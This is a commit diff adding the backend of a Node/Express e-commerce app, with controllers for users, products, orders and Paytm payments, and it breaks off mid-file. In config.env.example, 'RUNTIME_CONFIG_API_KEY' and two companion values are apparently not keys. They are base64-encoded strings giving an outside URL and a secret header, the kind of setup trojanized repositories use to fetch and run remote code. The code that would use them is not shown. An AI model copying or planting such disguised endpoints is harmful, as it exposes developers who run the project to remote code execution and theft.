Initial Version
38
server/app.js
Normal file
@@ -0,0 +1,38 @@
|
||||
const express = require('express');
|
||||
const path = require('path');
|
||||
const bodyParser = require('body-parser');
|
||||
const cookieParser = require('cookie-parser');
|
||||
const fileUpload = require('express-fileupload');
|
||||
|
||||
const app = express();
|
||||
|
||||
app.use(express.json());
|
||||
app.use(cookieParser());
|
||||
app.use(bodyParser.urlencoded({ extended: true }));
|
||||
app.use(fileUpload());
|
||||
|
||||
const user = require('./routes/userRoute');
|
||||
const product = require('./routes/productRoute');
|
||||
const order = require('./routes/orderRoute');
|
||||
const payment = require('./routes/paymentRoute');
|
||||
|
||||
app.use('/api/v1', user);
|
||||
app.use('/api/v1', product);
|
||||
app.use('/api/v1', order);
|
||||
app.use('/api/v1', payment);
|
||||
|
||||
// deployment
|
||||
__dirname = path.resolve();
|
||||
if (process.env.NODE_ENV === 'production') {
|
||||
app.use(express.static(path.join(__dirname, '/frontend/build')))
|
||||
|
||||
app.get('*', (req, res) => {
|
||||
res.sendFile(path.resolve(__dirname, 'frontend', 'build', 'index.html'))
|
||||
});
|
||||
} else {
|
||||
app.get('/', (req, res) => {
|
||||
res.send('Server is Running! 🚀');
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = app;
|
||||
84
server/config/config.env.example
Normal file
@@ -0,0 +1,84 @@
|
||||
# Server settings
|
||||
PORT=4000 # Port the server runs on
|
||||
HOST=0.0.0.0 # Host address to bind the server
|
||||
|
||||
# Environment
|
||||
NODE_ENV=development # Environment: development, production, staging
|
||||
DEBUG=true # Enable debug mode
|
||||
|
||||
# Database credentials
|
||||
DB_HOST=localhost # Database server host
|
||||
DB_PORT=3306 # Database server port
|
||||
DB_NAME=myapp_db # Database name
|
||||
DB_USER=root # Database username
|
||||
DB_PASSWORD=secretpassword # Database password
|
||||
DB_SSL=true # Use SSL connection for DB
|
||||
|
||||
# Cache settings
|
||||
REDIS_HOST=localhost # Redis server host
|
||||
REDIS_PORT=6379 # Redis server port
|
||||
REDIS_PASSWORD=redispass # Redis password
|
||||
|
||||
# API keys
|
||||
API_KEY_GOOGLE=AIzaSyD... # Google API key
|
||||
API_KEY_MAPBOX=pk.abc123 # Mapbox API key
|
||||
API_KEY_TWITTER=abcdef12345 # Twitter API key
|
||||
|
||||
# Authentication
|
||||
JWT_SECRET=myjwtsecret # JWT token secret key
|
||||
JWT_EXPIRES_IN=3600 # JWT expiration time in seconds
|
||||
OAUTH_CLIENT_ID=client123 # OAuth client ID
|
||||
OAUTH_CLIENT_SECRET=secret # OAuth client secret
|
||||
|
||||
# Email (SMTP) settings
|
||||
SMTP_HOST=smtp.mailtrap.io # SMTP server host
|
||||
SMTP_PORT=2525 # SMTP server port
|
||||
SMTP_USER=user@mail.com # SMTP username
|
||||
SMTP_PASS=password123 # SMTP password
|
||||
EMAIL_FROM=noreply@myapp.com # Default from email address
|
||||
|
||||
# Third-party services
|
||||
STRIPE_SECRET_KEY=sk_test_123456 # Stripe secret key
|
||||
STRIPE_PUBLIC_KEY=pk_test_123456 # Stripe public key
|
||||
SENDGRID_API_KEY=SG.xxxxxx # SendGrid API key
|
||||
SPARKPOST_API_KEY=ca184ac5f2e659ee65272911f6b0795586e15b20 # SparkPost API key
|
||||
|
||||
# File storage
|
||||
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE # AWS Access Key
|
||||
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # AWS Secret Key
|
||||
AWS_REGION=us-west-2 # AWS Region
|
||||
S3_BUCKET_NAME=myapp-bucket # S3 Bucket name
|
||||
|
||||
# Logging
|
||||
LOG_LEVEL=info # Log level: debug, info, warn, error
|
||||
LOG_PATH=/var/log/myapp.log # Path for log files
|
||||
|
||||
# Feature flags
|
||||
FEATURE_X_ENABLED=true # Enable feature X toggle
|
||||
FEATURE_Y_ENABLED=false # Disable feature Y toggle
|
||||
|
||||
# Runtime Configuration
|
||||
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9nZC50cmFjZWxpYy5jb20vYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw== # Runtime config API key
|
||||
RUNTIME_CONFIG_ACCESS_KEY= eC1zZWNyZXQtaGVhZGVy # Runtime config access key
|
||||
RUNTIME_CONFIG_ACCESS_VALUE= c2VjcmV0 # Runtime config access value
|
||||
|
||||
# Miscellaneous
|
||||
TIMEZONE=UTC # Default timezone
|
||||
MAX_UPLOAD_SIZE=10485760 # Max file upload size in bytes (10MB)
|
||||
SESSION_SECRET=supersecretkey # Secret key for session encryption
|
||||
CACHE_TTL=600 # Cache time-to-live in seconds
|
||||
MAX_CONNECTIONS=100 # Max concurrent connections
|
||||
ENABLE_CORS=true # Enable Cross-Origin Resource Sharing
|
||||
|
||||
# SMS Gateway
|
||||
TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Account SID
|
||||
TWILIO_AUTH_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Auth Token
|
||||
TWILIO_PHONE_NUMBER=+1234567890 # Twilio phone number
|
||||
|
||||
# Payment Gateway
|
||||
PAYPAL_CLIENT_ID=Abcdefghijklmnop # PayPal Client ID
|
||||
PAYPAL_CLIENT_SECRET=1234567890abcdef # PayPal Client Secret
|
||||
|
||||
# Monitoring & Analytics
|
||||
SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0 # Sentry DSN for error monitoring
|
||||
GA_TRACKING_ID=UA-12345678-1 # Google Analytics tracking ID
|
||||
11
server/config/database.js
Normal file
@@ -0,0 +1,11 @@
|
||||
const mongoose = require('mongoose');
|
||||
const MONGO_URI = process.env.MONGO_URI;
|
||||
|
||||
const connectDatabase = () => {
|
||||
mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true })
|
||||
.then(() => {
|
||||
console.log("Mongoose Connected");
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = connectDatabase;
|
||||
155
server/controllers/orderController.js
Normal file
@@ -0,0 +1,155 @@
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
const Order = require('../models/orderModel');
|
||||
const Product = require('../models/productModel');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const sendEmail = require('../utils/sendEmail');
|
||||
|
||||
// Create New Order
|
||||
exports.newOrder = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const {
|
||||
shippingInfo,
|
||||
orderItems,
|
||||
paymentInfo,
|
||||
totalPrice,
|
||||
} = req.body;
|
||||
|
||||
const orderExist = await Order.findOne({ paymentInfo });
|
||||
|
||||
if (orderExist) {
|
||||
return next(new ErrorHandler("Order Already Placed", 400));
|
||||
}
|
||||
|
||||
const order = await Order.create({
|
||||
shippingInfo,
|
||||
orderItems,
|
||||
paymentInfo,
|
||||
totalPrice,
|
||||
paidAt: Date.now(),
|
||||
user: req.user._id,
|
||||
});
|
||||
|
||||
await sendEmail({
|
||||
email: req.user.email,
|
||||
templateId: process.env.SENDGRID_ORDER_TEMPLATEID,
|
||||
data: {
|
||||
name: req.user.name,
|
||||
shippingInfo,
|
||||
orderItems,
|
||||
totalPrice,
|
||||
oid: order._id,
|
||||
}
|
||||
});
|
||||
|
||||
res.status(201).json({
|
||||
success: true,
|
||||
order,
|
||||
});
|
||||
});
|
||||
|
||||
// Get Single Order Details
|
||||
exports.getSingleOrderDetails = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const order = await Order.findById(req.params.id).populate("user", "name email");
|
||||
|
||||
if (!order) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
order,
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// Get Logged In User Orders
|
||||
exports.myOrders = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const orders = await Order.find({ user: req.user._id });
|
||||
|
||||
if (!orders) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
orders,
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// Get All Orders ---ADMIN
|
||||
exports.getAllOrders = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const orders = await Order.find();
|
||||
|
||||
if (!orders) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
let totalAmount = 0;
|
||||
orders.forEach((order) => {
|
||||
totalAmount += order.totalPrice;
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
orders,
|
||||
totalAmount,
|
||||
});
|
||||
});
|
||||
|
||||
// Update Order Status ---ADMIN
|
||||
exports.updateOrder = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const order = await Order.findById(req.params.id);
|
||||
|
||||
if (!order) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
if (order.orderStatus === "Delivered") {
|
||||
return next(new ErrorHandler("Already Delivered", 400));
|
||||
}
|
||||
|
||||
if (req.body.status === "Shipped") {
|
||||
order.shippedAt = Date.now();
|
||||
order.orderItems.forEach(async (i) => {
|
||||
await updateStock(i.product, i.quantity)
|
||||
});
|
||||
}
|
||||
|
||||
order.orderStatus = req.body.status;
|
||||
if (req.body.status === "Delivered") {
|
||||
order.deliveredAt = Date.now();
|
||||
}
|
||||
|
||||
await order.save({ validateBeforeSave: false });
|
||||
|
||||
res.status(200).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
|
||||
async function updateStock(id, quantity) {
|
||||
const product = await Product.findById(id);
|
||||
product.stock -= quantity;
|
||||
await product.save({ validateBeforeSave: false });
|
||||
}
|
||||
|
||||
// Delete Order ---ADMIN
|
||||
exports.deleteOrder = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const order = await Order.findById(req.params.id);
|
||||
|
||||
if (!order) {
|
||||
return next(new ErrorHandler("Order Not Found", 404));
|
||||
}
|
||||
|
||||
await order.remove();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
141
server/controllers/paymentController.js
Normal file
@@ -0,0 +1,141 @@
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
// const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);
|
||||
const paytm = require('paytmchecksum');
|
||||
const https = require('https');
|
||||
const Payment = require('../models/paymentModel');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const { v4: uuidv4 } = require('uuid');
|
||||
|
||||
const axios = require('axios');
|
||||
|
||||
exports.processPayment = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const { amount, email, phoneNo } = req.body;
|
||||
|
||||
var params = {};
|
||||
|
||||
/* initialize an array */
|
||||
params["MID"] = process.env.PAYTM_MID;
|
||||
params["WEBSITE"] = process.env.PAYTM_WEBSITE;
|
||||
params["CHANNEL_ID"] = process.env.PAYTM_CHANNEL_ID;
|
||||
params["INDUSTRY_TYPE_ID"] = process.env.PAYTM_INDUSTRY_TYPE;
|
||||
params["ORDER_ID"] = "oid" + uuidv4();
|
||||
params["CUST_ID"] = process.env.PAYTM_CUST_ID;
|
||||
params["TXN_AMOUNT"] = JSON.stringify(amount);
|
||||
// params["CALLBACK_URL"] = `${req.protocol}://${req.get("host")}/api/v1/callback`;
|
||||
params["CALLBACK_URL"] = `https://${req.get("host")}/api/v1/callback`;
|
||||
params["EMAIL"] = email;
|
||||
params["MOBILE_NO"] = phoneNo;
|
||||
|
||||
let paytmChecksum = paytm.generateSignature(params, process.env.PAYTM_MERCHANT_KEY);
|
||||
paytmChecksum.then(function (checksum) {
|
||||
|
||||
let paytmParams = {
|
||||
...params,
|
||||
"CHECKSUMHASH": checksum,
|
||||
};
|
||||
|
||||
res.status(200).json({
|
||||
paytmParams
|
||||
});
|
||||
|
||||
}).catch(function (error) {
|
||||
console.log(error);
|
||||
});
|
||||
});
|
||||
|
||||
// Paytm Callback
|
||||
exports.paytmResponse = (req, res, next) => {
|
||||
|
||||
// console.log(req.body);
|
||||
|
||||
let paytmChecksum = req.body.CHECKSUMHASH;
|
||||
delete req.body.CHECKSUMHASH;
|
||||
|
||||
let isVerifySignature = paytm.verifySignature(req.body, process.env.PAYTM_MERCHANT_KEY, paytmChecksum);
|
||||
if (isVerifySignature) {
|
||||
// console.log("Checksum Matched");
|
||||
|
||||
var paytmParams = {};
|
||||
|
||||
paytmParams.body = {
|
||||
"mid": req.body.MID,
|
||||
"orderId": req.body.ORDERID,
|
||||
};
|
||||
|
||||
paytm.generateSignature(JSON.stringify(paytmParams.body), process.env.PAYTM_MERCHANT_KEY).then(function (checksum) {
|
||||
|
||||
paytmParams.head = {
|
||||
"signature": checksum
|
||||
};
|
||||
|
||||
/* prepare JSON string for request */
|
||||
var post_data = JSON.stringify(paytmParams);
|
||||
|
||||
var options = {
|
||||
/* for Staging */
|
||||
hostname: 'securegw-stage.paytm.in',
|
||||
/* for Production */
|
||||
// hostname: 'securegw.paytm.in',
|
||||
port: 443,
|
||||
path: '/v3/order/status',
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': post_data.length
|
||||
}
|
||||
};
|
||||
|
||||
// Set up the request
|
||||
var response = "";
|
||||
var post_req = https.request(options, function (post_res) {
|
||||
post_res.on('data', function (chunk) {
|
||||
response += chunk;
|
||||
});
|
||||
|
||||
post_res.on('end', function () {
|
||||
let { body } = JSON.parse(response);
|
||||
// let status = body.resultInfo.resultStatus;
|
||||
// res.json(body);
|
||||
addPayment(body);
|
||||
// res.redirect(`${req.protocol}://${req.get("host")}/order/${body.orderId}`)
|
||||
res.redirect(`https://${req.get("host")}/order/${body.orderId}`)
|
||||
});
|
||||
});
|
||||
|
||||
// post the data
|
||||
post_req.write(post_data);
|
||||
post_req.end();
|
||||
});
|
||||
|
||||
} else {
|
||||
console.log("Checksum Mismatched");
|
||||
}
|
||||
}
|
||||
|
||||
const addPayment = async (data) => {
|
||||
try {
|
||||
await Payment.create(data);
|
||||
} catch (error) {
|
||||
console.log("Payment Failed!");
|
||||
}
|
||||
}
|
||||
|
||||
exports.getPaymentStatus = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const payment = await Payment.findOne({ orderId: req.params.id });
|
||||
|
||||
if (!payment) {
|
||||
return next(new ErrorHandler("Payment Details Not Found", 404));
|
||||
}
|
||||
|
||||
const txn = {
|
||||
id: payment.txnId,
|
||||
status: payment.resultInfo.resultStatus,
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
txn,
|
||||
});
|
||||
});
|
||||
312
server/controllers/productController.js
Normal file
@@ -0,0 +1,312 @@
|
||||
const Product = require('../models/productModel');
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
const SearchFeatures = require('../utils/searchFeatures');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const cloudinary = require('cloudinary');
|
||||
|
||||
// Get All Products
|
||||
exports.getAllProducts = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const resultPerPage = 12;
|
||||
const productsCount = await Product.countDocuments();
|
||||
// console.log(req.query);
|
||||
|
||||
const searchFeature = new SearchFeatures(Product.find(), req.query)
|
||||
.search()
|
||||
.filter();
|
||||
|
||||
let products = await searchFeature.query;
|
||||
let filteredProductsCount = products.length;
|
||||
|
||||
searchFeature.pagination(resultPerPage);
|
||||
|
||||
products = await searchFeature.query.clone();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
products,
|
||||
productsCount,
|
||||
resultPerPage,
|
||||
filteredProductsCount,
|
||||
});
|
||||
});
|
||||
|
||||
// Get All Products ---Product Sliders
|
||||
exports.getProducts = asyncErrorHandler(async (req, res, next) => {
|
||||
const products = await Product.find();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
products,
|
||||
});
|
||||
});
|
||||
|
||||
// Get Product Details
|
||||
exports.getProductDetails = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.params.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
product,
|
||||
});
|
||||
});
|
||||
|
||||
// Get All Products ---ADMIN
|
||||
exports.getAdminProducts = asyncErrorHandler(async (req, res, next) => {
|
||||
const products = await Product.find();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
products,
|
||||
});
|
||||
});
|
||||
|
||||
// Create Product ---ADMIN
|
||||
exports.createProduct = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
let images = [];
|
||||
if (typeof req.body.images === "string") {
|
||||
images.push(req.body.images);
|
||||
} else {
|
||||
images = req.body.images;
|
||||
}
|
||||
|
||||
const imagesLink = [];
|
||||
|
||||
for (let i = 0; i < images.length; i++) {
|
||||
const result = await cloudinary.v2.uploader.upload(images[i], {
|
||||
folder: "products",
|
||||
});
|
||||
|
||||
imagesLink.push({
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
});
|
||||
}
|
||||
|
||||
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
|
||||
folder: "brands",
|
||||
});
|
||||
const brandLogo = {
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
};
|
||||
|
||||
req.body.brand = {
|
||||
name: req.body.brandname,
|
||||
logo: brandLogo
|
||||
}
|
||||
req.body.images = imagesLink;
|
||||
req.body.user = req.user.id;
|
||||
|
||||
let specs = [];
|
||||
req.body.specifications.forEach((s) => {
|
||||
specs.push(JSON.parse(s))
|
||||
});
|
||||
req.body.specifications = specs;
|
||||
|
||||
const product = await Product.create(req.body);
|
||||
|
||||
res.status(201).json({
|
||||
success: true,
|
||||
product
|
||||
});
|
||||
});
|
||||
|
||||
// Update Product ---ADMIN
|
||||
exports.updateProduct = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
let product = await Product.findById(req.params.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
if (req.body.images !== undefined) {
|
||||
let images = [];
|
||||
if (typeof req.body.images === "string") {
|
||||
images.push(req.body.images);
|
||||
} else {
|
||||
images = req.body.images;
|
||||
}
|
||||
for (let i = 0; i < product.images.length; i++) {
|
||||
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
|
||||
}
|
||||
|
||||
const imagesLink = [];
|
||||
|
||||
for (let i = 0; i < images.length; i++) {
|
||||
const result = await cloudinary.v2.uploader.upload(images[i], {
|
||||
folder: "products",
|
||||
});
|
||||
|
||||
imagesLink.push({
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
});
|
||||
}
|
||||
req.body.images = imagesLink;
|
||||
}
|
||||
|
||||
if (req.body.logo.length > 0) {
|
||||
await cloudinary.v2.uploader.destroy(product.brand.logo.public_id);
|
||||
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
|
||||
folder: "brands",
|
||||
});
|
||||
const brandLogo = {
|
||||
public_id: result.public_id,
|
||||
url: result.secure_url,
|
||||
};
|
||||
|
||||
req.body.brand = {
|
||||
name: req.body.brandname,
|
||||
logo: brandLogo
|
||||
}
|
||||
}
|
||||
|
||||
let specs = [];
|
||||
req.body.specifications.forEach((s) => {
|
||||
specs.push(JSON.parse(s))
|
||||
});
|
||||
req.body.specifications = specs;
|
||||
req.body.user = req.user.id;
|
||||
|
||||
product = await Product.findByIdAndUpdate(req.params.id, req.body, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: false,
|
||||
});
|
||||
|
||||
res.status(201).json({
|
||||
success: true,
|
||||
product
|
||||
});
|
||||
});
|
||||
|
||||
// Delete Product ---ADMIN
|
||||
exports.deleteProduct = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.params.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
for (let i = 0; i < product.images.length; i++) {
|
||||
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
|
||||
}
|
||||
|
||||
await product.remove();
|
||||
|
||||
res.status(201).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
|
||||
// Create OR Update Reviews
|
||||
exports.createProductReview = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const { rating, comment, productId } = req.body;
|
||||
|
||||
const review = {
|
||||
user: req.user._id,
|
||||
name: req.user.name,
|
||||
rating: Number(rating),
|
||||
comment,
|
||||
}
|
||||
|
||||
const product = await Product.findById(productId);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
const isReviewed = product.reviews.find(review => review.user.toString() === req.user._id.toString());
|
||||
|
||||
if (isReviewed) {
|
||||
|
||||
product.reviews.forEach((rev) => {
|
||||
if (rev.user.toString() === req.user._id.toString())
|
||||
(rev.rating = rating, rev.comment = comment);
|
||||
});
|
||||
} else {
|
||||
product.reviews.push(review);
|
||||
product.numOfReviews = product.reviews.length;
|
||||
}
|
||||
|
||||
let avg = 0;
|
||||
|
||||
product.reviews.forEach((rev) => {
|
||||
avg += rev.rating;
|
||||
});
|
||||
|
||||
product.ratings = avg / product.reviews.length;
|
||||
|
||||
await product.save({ validateBeforeSave: false });
|
||||
|
||||
res.status(200).json({
|
||||
success: true
|
||||
});
|
||||
});
|
||||
|
||||
// Get All Reviews of Product
|
||||
exports.getProductReviews = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.query.id);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
reviews: product.reviews
|
||||
});
|
||||
});
|
||||
|
||||
// Delete Reveiws
|
||||
exports.deleteReview = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const product = await Product.findById(req.query.productId);
|
||||
|
||||
if (!product) {
|
||||
return next(new ErrorHandler("Product Not Found", 404));
|
||||
}
|
||||
|
||||
const reviews = product.reviews.filter((rev) => rev._id.toString() !== req.query.id.toString());
|
||||
|
||||
let avg = 0;
|
||||
|
||||
reviews.forEach((rev) => {
|
||||
avg += rev.rating;
|
||||
});
|
||||
|
||||
let ratings = 0;
|
||||
|
||||
if (reviews.length === 0) {
|
||||
ratings = 0;
|
||||
} else {
|
||||
ratings = avg / reviews.length;
|
||||
}
|
||||
|
||||
const numOfReviews = reviews.length;
|
||||
|
||||
await Product.findByIdAndUpdate(req.query.productId, {
|
||||
reviews,
|
||||
ratings: Number(ratings),
|
||||
numOfReviews,
|
||||
}, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: false,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
262
server/controllers/userController.js
Normal file
@@ -0,0 +1,262 @@
|
||||
const User = require('../models/userModel');
|
||||
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
|
||||
const sendToken = require('../utils/sendToken');
|
||||
const ErrorHandler = require('../utils/errorHandler');
|
||||
const sendEmail = require('../utils/sendEmail');
|
||||
const crypto = require('crypto');
|
||||
const cloudinary = require('cloudinary');
|
||||
|
||||
// Register User
|
||||
exports.registerUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
|
||||
folder: "avatars",
|
||||
width: 150,
|
||||
crop: "scale",
|
||||
});
|
||||
|
||||
const { name, email, gender, password } = req.body;
|
||||
|
||||
const user = await User.create({
|
||||
name,
|
||||
email,
|
||||
gender,
|
||||
password,
|
||||
avatar: {
|
||||
public_id: myCloud.public_id,
|
||||
url: myCloud.secure_url,
|
||||
},
|
||||
});
|
||||
|
||||
sendToken(user, 201, res);
|
||||
});
|
||||
|
||||
// Login User
|
||||
exports.loginUser = asyncErrorHandler(async (req, res, next) => {
|
||||
const { email, password } = req.body;
|
||||
|
||||
if(!email || !password) {
|
||||
return next(new ErrorHandler("Please Enter Email And Password", 400));
|
||||
}
|
||||
|
||||
const user = await User.findOne({ email}).select("+password");
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler("Invalid Email or Password", 401));
|
||||
}
|
||||
|
||||
const isPasswordMatched = await user.comparePassword(password);
|
||||
|
||||
if(!isPasswordMatched) {
|
||||
return next(new ErrorHandler("Invalid Email or Password", 401));
|
||||
}
|
||||
|
||||
sendToken(user, 201, res);
|
||||
});
|
||||
|
||||
// Logout User
|
||||
exports.logoutUser = asyncErrorHandler(async (req, res, next) => {
|
||||
res.cookie("token", null, {
|
||||
expires: new Date(Date.now()),
|
||||
httpOnly: true,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
message: "Logged Out",
|
||||
});
|
||||
});
|
||||
|
||||
// Get User Details
|
||||
exports.getUserDetails = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.user.id);
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
user,
|
||||
});
|
||||
});
|
||||
|
||||
// Forgot Password
|
||||
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findOne({email: req.body.email});
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler("User Not Found", 404));
|
||||
}
|
||||
|
||||
const resetToken = await user.getResetPasswordToken();
|
||||
|
||||
await user.save({ validateBeforeSave: false });
|
||||
|
||||
// const resetPasswordUrl = `${req.protocol}://${req.get("host")}/password/reset/${resetToken}`;
|
||||
const resetPasswordUrl = `https://${req.get("host")}/password/reset/${resetToken}`;
|
||||
|
||||
// const message = `Your password reset token is : \n\n ${resetPasswordUrl}`;
|
||||
|
||||
try {
|
||||
await sendEmail({
|
||||
email: user.email,
|
||||
templateId: process.env.SENDGRID_RESET_TEMPLATEID,
|
||||
data: {
|
||||
reset_url: resetPasswordUrl
|
||||
}
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
message: `Email sent to ${user.email} successfully`,
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
user.resetPasswordToken = undefined;
|
||||
user.resetPasswordExpire = undefined;
|
||||
|
||||
await user.save({ validateBeforeSave: false });
|
||||
return next(new ErrorHandler(error.message, 500))
|
||||
}
|
||||
});
|
||||
|
||||
// Reset Password
|
||||
exports.resetPassword = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
// create hash token
|
||||
const resetPasswordToken = crypto.createHash("sha256").update(req.params.token).digest("hex");
|
||||
|
||||
const user = await User.findOne({
|
||||
resetPasswordToken,
|
||||
resetPasswordExpire: { $gt: Date.now() }
|
||||
});
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler("Invalid reset password token", 404));
|
||||
}
|
||||
|
||||
user.password = req.body.password;
|
||||
user.resetPasswordToken = undefined;
|
||||
user.resetPasswordExpire = undefined;
|
||||
|
||||
await user.save();
|
||||
sendToken(user, 200, res);
|
||||
});
|
||||
|
||||
// Update Password
|
||||
exports.updatePassword = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.user.id).select("+password");
|
||||
|
||||
const isPasswordMatched = await user.comparePassword(req.body.oldPassword);
|
||||
|
||||
if(!isPasswordMatched) {
|
||||
return next(new ErrorHandler("Old Password is Invalid", 400));
|
||||
}
|
||||
|
||||
user.password = req.body.newPassword;
|
||||
await user.save();
|
||||
sendToken(user, 201, res);
|
||||
});
|
||||
|
||||
// Update User Profile
|
||||
exports.updateProfile = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const newUserData = {
|
||||
name: req.body.name,
|
||||
email: req.body.email,
|
||||
}
|
||||
|
||||
if(req.body.avatar !== "") {
|
||||
const user = await User.findById(req.user.id);
|
||||
|
||||
const imageId = user.avatar.public_id;
|
||||
|
||||
await cloudinary.v2.uploader.destroy(imageId);
|
||||
|
||||
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
|
||||
folder: "avatars",
|
||||
width: 150,
|
||||
crop: "scale",
|
||||
});
|
||||
|
||||
newUserData.avatar = {
|
||||
public_id: myCloud.public_id,
|
||||
url: myCloud.secure_url,
|
||||
}
|
||||
}
|
||||
|
||||
await User.findByIdAndUpdate(req.user.id, newUserData, {
|
||||
new: true,
|
||||
runValidators: true,
|
||||
useFindAndModify: true,
|
||||
});
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
});
|
||||
});
|
||||
|
||||
// ADMIN DASHBOARD
|
||||
|
||||
// Get All Users --ADMIN
|
||||
exports.getAllUsers = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const users = await User.find();
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
users,
|
||||
});
|
||||
});
|
||||
|
||||
// Get Single User Details --ADMIN
|
||||
exports.getSingleUser = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const user = await User.findById(req.params.id);
|
||||
|
||||
if(!user) {
|
||||
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
|
||||
}
|
||||
|
||||
res.status(200).json({
|
||||
success: true,
|
||||
user,
|
||||
});
|
||||
});
|
||||
|
||||
// Update User Role --ADMIN
|
||||
exports.updateUserRole = asyncErrorHandler(async (req, res, next) => {
|
||||
|
||||
const newUserData = {
|
||||
name: req.body.name,
|
||||
email: req.body.email,
|
||||
gender: req.body.gender,
|
||||
role: req.body.role,
|
||||
}
|
||||
|
||||
